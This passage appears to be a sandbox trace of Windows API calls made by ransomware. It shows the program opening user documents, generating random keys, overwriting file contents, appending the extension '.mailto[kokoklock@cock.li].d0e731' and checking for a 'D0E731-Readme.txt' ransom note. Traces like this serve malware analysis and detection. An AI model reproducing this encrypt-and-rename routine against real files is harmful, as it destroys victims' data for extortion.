RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0178.486] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2cb7fe04, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2cb7fe04*=0x4096, lpOverlapped=0x0) returned 1 [0178.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.487] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x155f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.487] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97bb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cb7fe3c, lpOverlapped=0x0 | out: lpBuffer=0x2f97bb0*, lpNumberOfBytesWritten=0x2cb7fe3c*=0x20, lpOverlapped=0x0) returned 1 [0178.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bb0) returned 1 [0178.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.487] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cb7fe50, lpOverlapped=0x0 | out: lpBuffer=0x2f97b88*, lpNumberOfBytesWritten=0x2cb7fe50*=0x8, lpOverlapped=0x0) returned 1 [0178.487] WriteFile (in: hFile=0x6f4, lpBuffer=0x2cb7fe68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cb7fe50, lpOverlapped=0x0 | out: lpBuffer=0x2cb7fe68*, lpNumberOfBytesWritten=0x2cb7fe50*=0x4, lpOverlapped=0x0) returned 1 [0178.487] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cb7fe50, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2cb7fe50*=0x4, lpOverlapped=0x0) returned 1 [0178.487] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cb7fe50, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2cb7fe50*=0x6c, lpOverlapped=0x0) returned 1 [0178.488] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97d40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cb7fe50, lpOverlapped=0x0 | out: lpBuffer=0x2f97d40*, lpNumberOfBytesWritten=0x2cb7fe50*=0x20, lpOverlapped=0x0) returned 1 [0178.488] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cb7fe50, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2cb7fe50*=0x4, lpOverlapped=0x0) returned 1 [0178.488] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d40) returned 1 [0178.488] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d68) returned 1 [0178.488] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b88) returned 1 [0178.488] CloseHandle (hObject=0x6f4) returned 1 [0178.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02318 [0178.488] wcscpy (in: _Dest=0x4f02318, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731" [0178.488] wcscat (in: _Dest=0x4f02318, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.488] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\vgiqgvrv2ybjhhzdv.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\vgiqgvrv2ybjhhzdv.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.490] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.490] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02318) returned 1 [0178.490] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.490] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f8bc90 [0178.490] wcscpy (in: _Dest=0x2f8bc90, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0178.490] wcscat (in: _Dest=0x2f8bc90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0178.490] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0178.490] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bc90) returned 1 [0178.490] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d698) returned 1 [0178.490] RtlExitUserThread (Status=0x1) Thread: id = 2746 os_tid = 0x490 [0178.492] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\xi1sv_kf8zopqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.493] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.493] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\xi1sv_kf8zopqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.493] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2cbffebc | out: lpFileSize=0x2cbffebc*=82291) returned 1 [0178.493] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x1416f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.493] ReadFile (in: hFile=0x6f4, lpBuffer=0x2cbffe90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cbffe8c, lpOverlapped=0x0 | out: lpBuffer=0x2cbffe90*, lpNumberOfBytesRead=0x2cbffe8c*=0x4, lpOverlapped=0x0) returned 1 [0178.495] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.495] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f979f8 [0178.495] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97d40 [0178.495] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b88 [0178.495] NtQuerySystemTime (in: CurrentTime=0x2cbffe68 | out: CurrentTime=0x2cbffe68*=132121213358124347) returned 0x0 [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x7859648d [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x73495aea [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x50478dbc [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x2e90dc81 [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xda897a9f [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x82c03d1d [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x88325fbb [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x865c1c3d [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x7bbe5f05 [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xba6212bc [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x9b73dfd9 [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x9ee8c9eb [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x10927b21 [0178.495] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x5c7de19e [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x9dc457bb [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x9750a355 [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xb503728f [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xe51ff93f [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x5ad38e85 [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xad57d19d [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x38d41953 [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xce2adb9a [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xac33ea38 [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xd1f89f54 [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xbf2d103a [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xadace400 [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x98b6114c [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x58c7ad46 [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x37cc9104 [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0xeba90e33 [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x40a6db6c [0178.496] RtlRandom (in: Seed=0x2cbffe74 | out: Seed=0x2cbffe74) returned 0x4925736e [0178.509] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.509] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2cbffe40, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2cbffe40*=0x4096, lpOverlapped=0x0) returned 1 [0178.511] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0178.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88eb0 [0178.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97bd8 [0178.511] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bd8) returned 1 [0178.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97bd8 [0178.512] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97cc8 [0178.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97cc8) returned 1 [0178.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88eb0) returned 1 [0178.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0178.512] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2cbffe40, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2cbffe40*=0x4096, lpOverlapped=0x0) returned 1 [0178.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.512] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x14173, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.512] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97bd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cbffe78, lpOverlapped=0x0 | out: lpBuffer=0x2f97bd8*, lpNumberOfBytesWritten=0x2cbffe78*=0x20, lpOverlapped=0x0) returned 1 [0178.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bd8) returned 1 [0178.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.513] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cbffe8c, lpOverlapped=0x0 | out: lpBuffer=0x2f97bb0*, lpNumberOfBytesWritten=0x2cbffe8c*=0x8, lpOverlapped=0x0) returned 1 [0178.513] WriteFile (in: hFile=0x6f4, lpBuffer=0x2cbffea4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cbffe8c, lpOverlapped=0x0 | out: lpBuffer=0x2cbffea4*, lpNumberOfBytesWritten=0x2cbffe8c*=0x4, lpOverlapped=0x0) returned 1 [0178.513] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cbffe8c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2cbffe8c*=0x4, lpOverlapped=0x0) returned 1 [0178.513] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cbffe8c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2cbffe8c*=0x6c, lpOverlapped=0x0) returned 1 [0178.513] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97d40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cbffe8c, lpOverlapped=0x0 | out: lpBuffer=0x2f97d40*, lpNumberOfBytesWritten=0x2cbffe8c*=0x20, lpOverlapped=0x0) returned 1 [0178.513] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cbffe8c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2cbffe8c*=0x4, lpOverlapped=0x0) returned 1 [0178.513] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d40) returned 1 [0178.514] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d68) returned 1 [0178.514] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bb0) returned 1 [0178.514] CloseHandle (hObject=0x6f4) returned 1 [0178.514] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x4f00890 [0178.514] wcscpy (in: _Dest=0x4f00890, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731" [0178.514] wcscat (in: _Dest=0x4f00890, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.514] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\xi1sv_kf8zopqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\xi1sv_kf8zopqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.517] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.517] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00890) returned 1 [0178.517] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.517] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f8b690 [0178.517] wcscpy (in: _Dest=0x2f8b690, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0178.517] wcscat (in: _Dest=0x2f8b690, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0178.517] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0178.518] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b690) returned 1 [0178.518] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d1b0) returned 1 [0178.518] RtlExitUserThread (Status=0x1) Thread: id = 2747 os_tid = 0x36c [0178.519] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\h uzjvuzquyzczzn5gkb.pdf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.519] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\h uzjvuzquyzczzn5gkb.pdf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.520] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2cc7f89c | out: lpFileSize=0x2cc7f89c*=48383) returned 1 [0178.520] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0xbcfb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.520] ReadFile (in: hFile=0x6f4, lpBuffer=0x2cc7f870, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cc7f86c, lpOverlapped=0x0 | out: lpBuffer=0x2cc7f870*, lpNumberOfBytesRead=0x2cc7f86c*=0x4, lpOverlapped=0x0) returned 1 [0178.522] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f979f8 [0178.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97d40 [0178.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97bb0 [0178.522] NtQuerySystemTime (in: CurrentTime=0x2cc7f848 | out: CurrentTime=0x2cc7f848*=132121213358437019) returned 0x0 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0xb084eedb [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x5fe8c569 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x3648562b [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x82e3f20d [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x3dda5966 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x2d36c1c9 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x93a2c548 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x10b2860a [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x84e12c1d [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0xaf3cc028 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0xb2575d80 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0xba8b8f1 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x49fbbcd3 [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) returned 0x6afb9b5a [0178.522] RtlRandom (in: Seed=0x2cc7f854 | out: Seed=0x2cc7f854) 